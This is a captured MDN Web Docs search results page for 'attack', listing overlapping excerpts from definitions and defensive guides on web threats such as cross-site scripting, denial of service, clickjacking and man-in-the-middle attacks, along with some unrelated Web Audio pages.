Search completed in 0.99 seconds.
192 results for "attack":
Your results are loading. Please wait...
Types of attacks - Web security
this article describes various types of security attacks and techniques to mitigate them. click-jacking click-jacking is the practice of tricking a user into clicking on a link, button, etc. that is other than what the user thinks it is. this can be used, for example, to steal login credentials or to get the user's unwitting permission to install a piece of malware. (click-jacking is sometimes called "user interface redressing", though this is a misuse of the term "redress".) cross-site request forgery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open w...
...gery (csrf) cross-site scripting (xss) cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. ...
..., xss was the seventh most common web app vulnerability in 2017. these attacks succeed if the web app does not employ enough validation or encoding. the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. cross-site scripting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being validated for malicious content. the malicious content often includes javascript, but sometimes html, flash, or any other code the browser can execute. ...
...And 8 more matches
DoS attack - MDN Web Docs Glossary: Definitions of Web-related terms
dos (denial of service) is a network attack that prevents legitimate use of server resources by flooding the server with requests. computers have limited resources, for example computation power or memory. when these are exhausted, the program can freeze or crash, making it unavailable. a dos attack consists of various techniques to exhaust these resources and make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
...nd make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
...rk unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
...And 6 more matches
DynamicsCompressorNode.attack - Web APIs
note: though the audioparam returned is read-only, the value it represents is not. example the below code demonstrates a simple usage of createdynamicscompressor() to add compression to an audio track. for a more complete example, have a look at our basic compressor example (view the source code). ...
... note: though the audioparam returned is read-only, the value it represents is not. ...
... a mediaelementaudiosourcenode // feed the htmlmediaelement into it var source = audioctx.createmediaelementsource(myaudio); // create a compressor node var compressor = audioctx.createdynamicscompressor(); compressor.threshold.setvalueattime(-50, audioctx.currenttime); compressor.knee.setvalueattime(40, audioctx.currenttime); compressor.ratio.setvalueattime(12, audioctx.currenttime); compressor.attack.setvalueattime(0, audioctx.currenttime); compressor.release.setvalueattime(0.25, audioctx.currenttime); // connect the audiobuffersourcenode to the destination source.connect(audioctx.destination); button.onclick = function() { var active = button.getattribute('data-active'); if(active == 'false') { button.setattribute('data-active', 'true'); button.innerhtml = 'remove compression';...
... working draft ...
Website security - Learn web development
previous overview: first steps website security requires vigilance in all aspects of website design and usage. this introductory article won't make you a website security guru, but it will help you understand where threats come from, and what you can do to harden your web application against the most common attacks. prerequisites: basic computer literacy. objective: to understand the most common threats to web application security and what you can do to reduce the risk of your site being hacked. what is website security? the internet is a dangerous place! with great regularity, we hear about websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. in other high-profile case...
...the more formal definition of website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction, or disruption. ...
...oss the whole of the website: in your web application, the configuration of the web server, your policies for creating and renewing passwords, and the client-side code. while all that sounds very ominous, the good news is that if you're using a server-side web framework, it will almost certainly enable "by default" robust and well-thought-out defense mechanisms against a number of the more common attacks. other attacks can be mitigated through your web server configuration, for example by enabling https. finally, there are publically available vulnerability scanner tools that can help you find out if you've made any obvious mistakes. the rest of this article gives you more details about a few common threats and some of the simple steps you can take to protect your site. note: this is an intro...
...And 17 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
nt storage. crud typically refers to operations performed in a database or datastore, but it can also apply to higher level functions of an application such as soft deletes where data is not actually deleted but marked as deleted via a status. 53 csp glossary, http, infrastructure a csp (content security policy) is used to detect and mitigate certain types of website related attacks like xss and data injections. 54 csrf glossary, security csrf (cross-site request forgery) is an attack that impersonates a trusted user and sends a website unwanted commands. 55 css css, codingscripting, glossary, web, l10n:priority css (cascading style sheets) is a declarative language that controls how webpages look in the browser. 56 css o...
...gone evaluation by professionals with expertise in the relevant field, thereby indicating completeness, security and trustworthiness. 70 challenge-response authentication security in security protocols, a challenge is some data sent to the client by the server in order to generate a different response each time. challenge-response protocols are one way to fight against replay attacks where an attacker listens to the previous messages and resends them at a later time to get the same credentials as the original message. 71 character codingscripting, glossary, strings a character is either a symbol (letters, numbers, punctuation) or non-printing "control" (e.g., carriage return or soft hyphen). utf-8 is the most common character set and includes the graphe...
...4 cross axis css, glossary, cross axis, flexbox the cross axis in flexbox runs perpendicular to the main axis, therefore if your flex-direction is either row or row-reverse then the cross axis runs down the columns. 95 cross-site scripting cross site scripting, dom, glossary, security, xss, exploit cross-site scripting (xss) is a security exploit which allows an attacker to inject into a website malicious client-side code. this code is executed by the victims and lets the attackers bypass access controls and impersonate users. according to the open web application security project, xss was the seventh most common web app vulnerability in 2017. 96 cryptanalysis cryptography, glossary, privacy, security cryptanalysis is the branch of cryptogr...
...And 7 more matches
Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
dos (denial of service) is a network attack that prevents legitimate use of server resources by flooding the server with requests. computers have limited resources, for example computation power or memory. when these are exhausted, the program can freeze or crash, making it unavailable. a dos attack consists of various techniques to exhaust these resources and make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
...nd make a server or a network unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
...rk unavailable to legitimate users, or at least make the server perform sluggishly. there are also distributed denial of service (ddos) attacks in which a multitude of servers are used to exhaust the computing capacity of an attacked computer. types of dos attack dos attacks are more of a category than a particular kind of attack. ...
...And 6 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
eriodicwave(wave); osc.frequency.value = 440; osc.connect(audioctx.destination); osc.start(); osc.stop(audioctx.currenttime + 1); } controlling amplitude this is great, but wouldn't it be nice if we had an amplitude envelope to go with it? let's create a simple one so we get used to the methods we need to create an envelope with the web audio api. ...
... osc.stop(audioctx.currenttime + 1); } controlling amplitude this is great, but wouldn't it be nice if we had an amplitude envelope to go with it? let's create a simple one so we get used to the methods we need to create an envelope with the web audio api. let's say our envelope has attack and release. ...
....stop(audioctx.currenttime + 1); } controlling amplitude this is great, but wouldn't it be nice if we had an amplitude envelope to go with it? let's create a simple one so we get used to the methods we need to create an envelope with the web audio api. let's say our envelope has attack and release. ...
...And 6 more matches
HTTP Index - HTTP
Web › HTTP › Index
ections largely impacts the performance of web sites and web applications. in http/1.x, there are several models: short-lived connections, persistent connections, and http pipelining. 16 content security policy (csp) csp, content security policy, reference, security content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement to distribution of malware. 17 content negotiation content negotiation, content negotiation reference, http, reference in http, content negotiation is the mechanism that is used for serving different representations of a resource at the s...
...p, reference, security cross-origin resource policy is an opt-in mechanism that allows web applications to protect against certain cross-origin requests, such as those issued by the browser when resources are embedded using elements such as <script> and <img>. this serves as an additional layer of protection above and beyond the same-origin policy which can mitigate speculative side channel attacks as well as cross-site script inclusion attacks. cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default. 20 cross-origin resource sharing (cors) ajax, cors, cross-origin resource sharing, fetch, fetch api, http, http access controls, same-origin policy, security, xmlhttprequest, l10n:priority ...
...e are two types of messages: requests sent by the client to trigger an action on the server, and responses, the answer from the server. 41 http public key pinning (hpkp) guide, hpkp, http, security http public key pinning (hpkp) is a security feature that tells a web client to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates. 42 http authentication access control, authentication, guide, http, security http provides a general framework for access control and authentication. the most common http authentication is based on the "basic" schema. this page shows an introduction to the http framework for authentication and shows how to restrict access to your server using the ht...
...And 5 more matches
Distributed Denial of Service - MDN Web Docs Glossary: Definitions of Web-related terms
a distributed denial-of-service (ddos) is an attack in which many compromised systems are made to attack a single target, in order to swamp server resources and block legitimate users. normally many persons, using many bots, attack high-profile web servers like banks or credit-card payment gateways. ddos concerns computer networks and cpu resource management. in a typical ddos attack, the assailant begins by exploiting a vulnerability in one computer system and making it the ddos master. the attack master, also known as the botmaster, identifies and infects other vulnerable systems with malware. eventually, the assailant instructs the controlled machines to launch an attack against a specified target. ...
...the overflow of data to the target causes saturation in the target machine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of service"). ...
...the overflow of data to the target causes saturation in the target machine so that it cannot respond or responds very slowly to legitimate traffic (hence the name "denial of service"). ...
...And 4 more matches
Content Security Policy (CSP) - HTTP
Web › HTTP › CSP
csp is designed to be fully backward compatible (except csp version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). ...
... csp is designed to be fully backward compatible (except csp version 2 where there are some explicitly-mentioned inconsistencies in backward compatibility; more details here section 1.1). ...
...malicious scripts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it seems to be coming from. csp makes it possible for server administrators to reduce or eliminate the vectors by which xss can occur by specifying the domains that the ...
...And 4 more matches
From object to iframe — other embedding technologies - Learn web development
me; we just want to make you aware of this concern, and provide a reference to come back to as you get more experienced and start considering using <iframe>s in your experiments and work. also, there is no need to be scared and not use <iframe>s — you just need to be careful. read on... browser makers and web developers have learned the hard way that iframes are a common target (official term: attack vector) for bad people on the web (often termed hackers, or more accurately, crackers) to attack if they are trying to maliciously modify your webpage, or trick people into doing something they don't want to do, such as reveal sensitive information like usernames and passwords. because of this, spec engineers and browser developers have developed various security mechanisms for making <iframe>s m...
...your webpage, or trick people into doing something they don't want to do, such as reveal sensitive information like usernames and passwords. because of this, spec engineers and browser developers have developed various security mechanisms for making <iframe>s more secure, and there are also best practices to consider — we'll cover some of these below. clickjacking is one kind of common iframe attack where hackers embed an invisible iframe into your document (or embed your document into their own malicious website) and use it to capture users' interactions. this is a common way to mislead users or steal sensitive data. a quick example first though — try loading the previous example we showed above into your browser — you can find it live on github (see the source code too.) you won't ac...
...ke it available via https — look at the urls inside the <iframe> src attribute when you are embedding content from google maps or youtube, for example. note: github pages allow content to be served via https by default, so is useful for hosting content. if you are using different hosting and are not sure, ask your hosting provider about it. always use the sandbox attribute you want to give attackers as little power as you can to do bad things on your website, therefore you should give embedded content only the permissions needed for doing its job. of course, this applies to your own content, too. a container for code where it can be used appropriately — or for testing — but can't cause any harm to the rest of the codebase (either accidental or malicious) is called a sandbox. unsandbo...
...And 3 more matches
sslfnc.html
re information on this option. ssl_no_cache disallows use of the session cache. factory setting is off. if you turn this option on, this socket will be unable to resume a session begun by another socket. when this socket's session is finished, no other socket will be able to resume the session begun by this socket. ssl_rollback_detection disables detection of a rollback attack. ...
...when this socket's session is finished, no other socket will be able to resume the session begun by this socket. ssl_rollback_detection disables detection of a rollback attack. factory setting is on. you must turn this option off to interoperate with tls clients ( such as certain versions of microsoft internet explorer) that do not conform to the tls specification regarding rollback attacks. important: turning this option off means that your code will not comply with the tls 3.1 and ssl 3.0 specifications regarding rollback attack and will therefore be vulnerable to this form of attack. on pr_true turns option on; pr_false turns option off. returns the function returns one of these values: if successful, secsuccess. if un...
... below for more information on this option. ssl_no_cache disallows use of the session cache. factory setting is off. if you turn this option on, this socket will be unable to resume a session begun by another socket. when this socket's session is finished, no other socket will be able to resume the session begun by this socket. ssl_rollback_detection disables detection of a rollback attack. ...
...And 3 more matches
Using HTTP cookies - HTTP
Web › HTTP › Cookies
for example: set-cookie: id=a3fwa; expires=wed, 31 oct 2021 07:28:00 gmt; note: when an expires date is set, the time and date set is relative to the client the cookie is being set on, not the server. if your site authenticates users, it should regenerate and resend session cookies, even ones that already exist, whenever the user authenticates. this technique helps prevent session fixation attacks, where a third party can reuse a user's session. restrict access to cookies there are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and the...
...trict access to cookies there are a couple of ways to ensure that cookies are sent securely and are not accessed by unintended parties or scripts: the secure attribute and the httponly attribute. a cookie with the secure attribute is sent to the server only with an encrypted request over the https protocol, never with unsecured http, and therefore can't easily be accessed by a man-in-the-middle attacker. insecure sites (with http: in the url) can't set cookies with the secure attribute. however, do not assume that secure prevents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. a cookie with the httponly attribute is inaccessible to the javascript document.cookie api; it is sent only to the server. for example, cooki...
...s; for example, it can be read by someone with access to the client's hard disk. a cookie with the httponly attribute is inaccessible to the javascript document.cookie api; it is sent only to the server. for example, cookies that persist server-side sessions don't need to be available to javascript, and should have the httponly attribute. this precaution helps mitigate cross-site scripting (xss) attacks. here is an example: set-cookie: id=a3fwa; expires=wed, 21 oct 2021 07:28:00 gmt; secure; httponly define where cookies are sent the domain and path attributes define the scope of the cookie: what urls the cookies should be sent to. domain attribute the domain attribute specifies which hosts are allowed to receive the cookie. if unspecified, it defaults to the same origin that set the cook...
...And 3 more matches
Subdomain takeovers - Web security
a subdomain takeover occurs when an attacker gains control over a subdomain of a target domain. typically, this happens when the subdomain has a canonical name (cname) in the domain name system (dns), but no host is providing content for it. this can happen because either a virtual host hasn’t been published yet or a virtual host has been removed. an attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it. if an attacker can do this, they can potentially read cookies set from the main domain, perform cross-site scripting, or circumvent content security policies, thereby enabling them to capture protected information (including logins) or send malicious content to unsuspecting users. a subdomain is like an electrical outlet. ...
... is fine. however, if you remove your appliance from the outlet (or haven’t plugged one in yet), someone can plug in a different one. you must cut power at the breaker or fuse box (dns) to prevent the outlet from being used by someone else. how do they happen? if the process of provisioning or deprovisioning (removing) a virtual host is not handled properly, there can be an opportunity for an attacker to take over a subdomain. during provisioning an attacker sets up a virtual host for a subdomain name you bought on the hosting provider, before you get to do it. suppose you control the domain example.com. you want to add a blog at blog.example.com, and you decide to use a hosting provider who maintains a blogging platform. (for "blog", you can substitute "e-commerce platform", "customer se...
...k like this: you register the name "blog.example.com" with a domain registrar. you set up dns records to direct browsers that want to access blog.example.com so that they go to the virtual host. you create a virtual host at the hosting provider. unless the hosting provider is very careful to verify that the entity who sets up the virtual host actually is the owner of the subdomain name, an attacker who is quicker than you could create a virtual host with the same hosting provider, using your subdomain name. in such a case, as soon as you set up dns in step 2, the attacker can host content on your subdomain. during deprovisioning you take down your virtual host, but an attacker sets up a new virtual host using the same name and hosting provider. you (or your company) decide that you no ...
...And 2 more matches
Web security
ensuring that your website or open web application is secure is critical. even simple bugs in your code can result in private information being leaked, and bad people are out there trying to find ways to steal data. the web security-oriented articles listed here provide information that may help you secure your site and its code from attacks and data theft. content security content security policy (csp) content security policy (csp) is an added layer of security that helps to detect and mitigate certain types of attacks, including cross-site scripting (xss) and data injection attacks. these attacks are used for everything from data theft to site defacement to the distribution of malware. connection security transport security layer (tls) the transport layer security (tls) pr...
...ed certificates are 'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates. mixed content an https page that includes content fetched using cleartext http is called a mixed content page. pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers. how to fix a website with blocked mixed content if your website delivers https pages, all active mixed content delivered via http on these pages will be blocked by default. consequently, your website may appear broken to users (if iframes or plugins don't load, etc.). passive mixed content is displayed by default, but users can set a preference to block this type of content, as well. this p...
... developer. secure contexts a secure context is a window or worker for which there is reasonable confidence that the content has been delivered securely (via https/tls), and for which the potential for communication with contexts that are not secure is limited. many web apis and features are accessible only in a secure context. the primary goal of secure contexts is to prevent man-in-the-middle attackers from accessing powerful apis that could further compromise the victim of an attack. features restricted to secure contexts this reference lists the web platform features available only in secure contexts. weak signature algorithms the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. this article provides some inf...
...And 2 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
emote server; for example, because it is one you rent and administer yourself, there is a huge security risk, because of, but not limited to: you might discontinue your project or sell it, so that it is possible another person with malicious intentions takes over your domain. the server and/or domain name might be compromised. if using an unencrypted, insecure connection, a man-in-the-middle attacker might replace the json with attack code before it arrives at the user. use native json since firefox 3.5 you should use json. really, just use it! note: do not use json parsers implemented in javascript. these implementations are less efficient and often also contain serious security vulnerabilities. such implementations are meant to be used within a very different security context, namely ...
... alternative: use (anonymous) functions you can always create a small anonymous function to pass around instead. closur...
... alternative: use (anonymous) functions you can always create a small anonymous function to pass around instead. closures will ensure the code is still valid, even i...
... alternative: use (anonymous) functions you can always create a small anonymous function to pass around instead. closures will ensure the code is still valid, even if your outer function already returned from execution. addeve...
Security Controls - Archive of obsolete content
and why they are all relevant, and exploring their weaknesses. sensitive data should be protected based on the potential impact of a loss of confidentiality, integrity, or availability. protection measures (otherwise known as security controls) tend to fall into two categories. first, security weaknesses in the system need to be resolved. ...
... there are three types of security controls, as follows: management controls: the security controls that focus on the management of risk and the management of information system security. operational controls: the security controls that are primarily implemented and executed by people (as opposed to systems). ...
...cal controls: the security controls that are primarily implemented and executed by the system through the system's hardware, software, or firmware. all three types of controls are necessary for robust security. for example, a security policy is a management control, but its security requirements are implemented by people (operational controls) and systems (technical controls). think of phishing attacks. an organization may have an acceptable use policy that specifies the conduct of users, including not visiting malicious websites. security controls to help thwart phishing, besides the management control of the acceptable use policy itself, include operational controls, such as training users not to fall for phishing scams, and technical controls that monitor emails and web site usage for signs...
...ing security, functionality, and usability is often a challenge. the goal should be to strike a proper balance: provide a reasonably secure solution while offering the functionality and usability that users require. another fundamental principle with security controls is using multiple layers of security—defense in depth. for example, sensitive data on a server may be protected from external attack by several controls, including a network-based firewall, a host-based firewall, and os patching. the motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might prevent the threat from successfully breaching the system. a combination of network-based and host-based controls is generally most effective at providing consiste...
Threats - Archive of obsolete content
this article discusses threats, explaining what they are and how they can affect network traffic. a threat is any circumstance or event with the potential to adversely impact data or systems via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service. ...
...r systems via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service. threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area. a threat source is the cause of a threat, such as a hostile cyber or physical attack, a human error of omission or commission, a failure of organization-controlled hardware or software, or other failure beyond the control of the organization. a threat event is an event or situation initiated or caused by a threat source that has the potential for causing adverse i...
... a malware redirect hack in which a legitimate redirects to spam site or a phishing page. this kind of malware is widespread on wordpress websites. for more detailed look on this you can refer to this detailed post on wordpress malware redirect. phishing. phishing is a method of a social engineering with the goal of obtaining sensitive data such as passwords, usernames, credit card numbers. ...
...ering with the goal of obtaining sensitive data such as passwords, usernames, credit card numbers. the attacks often comes in form of instant messages or phishing emails which appear to be legitimate but they are used to obtain personal information. for example, a mail which appears to be to be sent from a bank, asking to verify your identity by giving away your private information. ddos network attack. the volume and strength of ddos attacks are growing as hackers try to bring organizations offline or steal their data by flooding websites and networks with spurious traffic. original document information author(s): ella deon lackey last updated date: 2012 copyright information: © 2012 red hat, inc. link: red hat certificate system common criteria certification 8.1: deployment, planni...
Vulnerabilities - Archive of obsolete content
security configuration issues, and software feature misuse. these categories are described below. vulnerability categories a software flaw vulnerability is caused by an unintended error in the design or coding of software. an example is an input validation error, such as user-provided input not being properly evaluated for malicious character strings and overly long values associated with known attacks. another example is a race condition error that allows the attacker to perform a specific action with elevated privileges. a security configuration setting is an element of a software’s security that can be altered through the software itself. examples of settings are an operating system offering access to control lists that set the privileges that users have for files, and an application off...
... avenue to compromise the security of a system. these vulnerabilities are caused by the software designer making trust assumptions that permit the software to provide beneficial features, while also introducing the possibility of someone violating the trust assumptions to compromise security. for example, email client software may contain a feature that renders html content in email messages. an attacker could craft a fraudulent email message that contains hyperlinks that, when rendered in html, appear to the recipient to be benign but actually take the recipient to a malicious web site when they are clicked on. one of the trust assumptions in the design of the html content rendering feature was that users would not receive malicious hyperlinks and click on them. software feature misuse vulner...
...s may also change over the lifetime of software or a protocol used in software. for example, the address resolution protocol (arp) trusts that an arp reply contains the correct mapping between media access control (mac) and internet protocol (ip) addresses. the arp cache uses that information to provide a useful service—to enable sending data between devices within a local network. however, an attacker could generate false arp messages to poison a system’s arp table and thereby launch a denial-of-service or a man-in-the-middle attack. the arp protocol was standardized over 25 years ago, and threats have changed a great deal since then, so the trust assumptions inherent in its design then are unlikely to still be reasonable today. it may be hard to differentiate software feature misuse vul...
...e expense of reducing functionality, so using the most secure settings could make the software useless or unusable. second, many security settings have both positive and negative consequences for security. an example is the number of consecutive failed authentication attempts to permit before locking out a user account. setting this to 1 would be the most secure setting against password guessing attacks, but it would also cause legitimate users to be locked out after mistyping a password once, and it would also permit attackers to perform denial-of-service attacks against users more easily by generating a single failed login attempt for each user account. because of the number of vulnerabilities inherent in security configuration settings and software feature misuse possibilities, plus the num...
Lighting a WebXR setting - Web APIs
less consistent, and, importantly, makes the data generated by two computers differ, even in the same setting. decoupling orientation from lighting in an ar application that uses geolocation to determine orientation and potentially position information, avoiding having that information directly correlate to the state of the lighting is another way browsers can protect users from fingerprinting attacks. by simply ensuring that the compass direction and the light directionality aren't identical on every device that's near (or claims to be near) the user's location, the ability to find users based on the state of the lighting around them is removed. wwhen the browser provides details about a very bright, directional light source, that source probably represents the sun. the directionality of th...
... light source combined with the time of day can be used to determine the user's geographic location without involving the geolocation api. by ensuring that the coordinates of the ar scene don't align with compass coordinates, and by reducing the precision of the sun's light angle, the location can no longer be accurately estimated using this technique. ...
...ted using this technique. temporal and spatial filtering consider an attack that uses a building's automated lighting system to flash the lights on and off quickly in a known pattern. without proper precautions, the lighting estimation data could be used to detect this pattern and thus determine that a user is in a particular location. this could be done remotely, or it could be performed by an attacker who's located in the same room but wants to determine if the other person is also in the same room. another scenario in which lighting estimation can be used to obtain information about the user without permission: if the light sensor is close enough to the user's display to detect lighting changes caused by the contents of the display, an algorithm could be used to determine whether or not th...
... ...
Mixed content - Web security
when a user visits a page served over https, their connection with the web server is encrypted with tls and is therefore safeguarded from most sniffers and man-in-the-middle attacks. an https page that includes content fetched using cleartext http is called a mixed content page. pages like this are only partially encrypted, leaving the unencrypted content accessible to sniffers and man-in-the-middle attackers. that leaves the pages unsafe. types of mixed content there are two categories for mixed content: mixed passive/display content and mixed active content. the difference lies in the threat level of the worst case scenario if content is rewritten as part of a man-in-the-middle attack. in the case of passive content, the threat is lower (the page may contain misleading content, or th...
...page may contain misleading content, or the user's cookies may be stolen). in the case of active content, the threat can lead to phishing, sensitive data disclosure, redirection to malicious sites, etc. mixed passive/display content mixed passive/display content is content served over http that is included in an https webpage, but that cannot alter other portions of the webpage. for example, an attacker could replace an image served over http with an inappropriate image or message to the user. the attacker could also infer information about the user's activities by watching which images are served to the user; often images are only served on a specific page within a website. if the attacker observes http requests to certain images, they could determine which webpage the user is visiting. pass...
...rms http requests) mixed active content mixed active content is content that has access to all or parts of the document object model of the https page. this type of mixed content can alter the behavior of the https page and potentially steal sensitive data from the user. hence, in addition to the risks described for mixed display content above, mixed active content is vulnerable to a few other attack vectors. in the mixed active content case, a man-in-the-middle attacker can intercept the request for the http content. the attacker can also rewrite the response to include malicious javascript code. malicious active content can steal the user's credentials, acquire sensitive data about the user, or attempt to install malware on the user's system (by leveraging vulnerabilities in the browser or...
...ser or its plugins, for example). the risk involved with mixed content does depend on the type of website the user is visiting and how sensitive the data exposed to that site may be. the webpage may have public data visible to the world or private data visible only when authenticated. if the webpage is public and has no sensitive data about the user, using mixed active content still provides the attacker with the opportunity to redirect the user to other http pages and steal http cookies from those sites. active content examples this section lists some types of http requests which are considered active content: <script> (src attribute) <link> (href attribute) (this includes css stylesheets) <iframe> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <url...
Subresource Integrity - Web security
cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin. how subresource integrity helps using content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth. ...
..., to ensure the origin serving the resource allows it to be shared with the requesting origin. how subresource integrity helps using content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth. ...
...g content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth. however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files from that cdn. ...
...e sites can improve site performance and conserve bandwidth. however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files from that cdn. subresource integrity enables you to mitigate some risks of attacks such as this, by ensuring that the files your web application or web document fetches (from a cdn or anywhere) have been delivered without a third-party having injected any additional content into those files — and without any other changes of any kind at all having been made to those files. using subresource integrity you use the subresource integrity feature by specifying a base64-encoded ...
Index - Archive of obsolete content
3747 security controls beginner, security, tutorial sensitive data should be protected based on the potential impact of a loss of confidentiality, integrity, or availability. protection measures (otherwise known as security controls) tend to fall into two categories. first, security weaknesses in the system need to be resolved. ...
... 3748 tcp/ip security beginner, networking, security, tutorial tcp/ip is widely used throughout the world to provide network communications. tcp/ip communications are composed of four layers that work together. ...
... by the layer below it. the four tcp/ip layers, from highest to lowest, are shown below. 3749 threats beginner, security, tutorial a threat is any circumstance or event with the potential to adversely impact data or systems via unauthorized access, destruction, disclosure, or modification of information, and/or denial of service. threats may involve intentional actors (e.g., attacker who wants to access information on a server) or unintentional actors (e.g., administrator who forgets to disable user accounts of a former employee.) threats can be local, such as a disgruntled employee, or remote, such as an attacker in another geographical area. 3750 vulnerabilities beginner, security, tutorial, vulnerabilities, web security a vulnerability is a weakness...
Confidentiality, Integrity, and Availability - Archive of obsolete content
losses of confidentiality. so, in summary, a breach of confidentiality means that someone gains access to information who shouldn't have access to it. integrity integrity refers to ensuring the authenticity of information—that information is not altered, and that the source of the information is genuine. imagine that you have a website and you sell products on that site. now imagine that an attacker can shop on your web site and maliciously alter the prices of your products, so that they can buy anything for whatever price they choose. that would be a failure of integrity, because your information—in this case, the price of a product—has been altered and you didn't authorize this alteration. another example of a failure of integrity is when you try to connect to a website and a malicio...
...can shop on your web site and maliciously alter the prices of your products, so that they can buy anything for whatever price they choose. that would be a failure of integrity, because your information—in this case, the price of a product—has been altered and you didn't authorize this alteration. ...
...oduct—has been altered and you didn't authorize this alteration. another example of a failure of integrity is when you try to connect to a website and a malicious attacker between you and the website redirects your traffic to a different website. in this case, the site you are directed to is not genuine. availability availability means that information is accessible by authorized users. if an attacker is not able to compromise the first two elements of information security (see above) they may try to execute attacks like denial of service that would bring down the server, making the website unavailable to legitimate users due to lack of availability. original document information author(s): karen scarfone, wayne jansen, and miles tracy title: nist special publication 800-123, guide to ...
Introduction to SSL - Archive of obsolete content
server identified by the certificate that contains the public key, an ssl-enabled client must receive a "yes" answer to the four questions shown in figure 2. although the fourth question is not technically part of the ssl protocol, it is the client's responsibility to support this requirement, which provides some assurance of the server's identity and thus helps protect against a form of security attack known as "man in the middle." an ssl-enabled client goes through these steps to authenticate a server's identity: is today's date within the validity period? the client checks the server certificate's validity period. if the current date and time are outside of that range, the authentication process won't go any further. if the current date and time are within the certificate's validity per...
...s responsibility to take step 4 before step 5. does the domain name in the server's certificate match the domain name of the server itself? this step confirms that the server is actually located at the same network address specified by the domain name in the server certificate. although step 4 is not technically part of the ssl protocol, it provides the only protection against a form of security attack known as "man in the middle." clients must perform this step and must refuse to authenticate the server or establish a connection if the domain names don't match. if the server's actual domain name matches the domain name in the server certificate, the client goes on to step 5. the server is authenticated. the client proceeds with the ssl handshake. if the client doesn't get to step 5 for any re...
...after the steps described here, the server must successfully use its private key to decrypt the premaster secret the client sends in step 4 of "the ssl handshake." otherwise, the ssl session will be terminated. this provides additional assurance that the identity associated with the public key in the server's certificate is in fact the server with which the client is connected. man-in-the-middle attack as suggested in step 4 above, the client application must check the server domain name specified in the server certificate against the actual domain name of the server with which the client is attempting to communicate. this step is necessary to protect against a man-in-the-middle attack, which works as follows. the "man in the middle" is a rogue program that intercepts all communication betwee...
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. ...
...the user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. ...
...user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the html content. learn more general knowledge cross-site scripting (xss) cross-site scripting on wikipedia cross-site scripting on owasp another article about cross-site scripting xss attack – exploit & protection ...
Mozilla Port Blocking
mozilla responded by modifying how protocols can access ports. ...
...mozilla responded by modifying how protocols can access ports. ...
...mozilla responded by modifying how protocols can access ports. ...
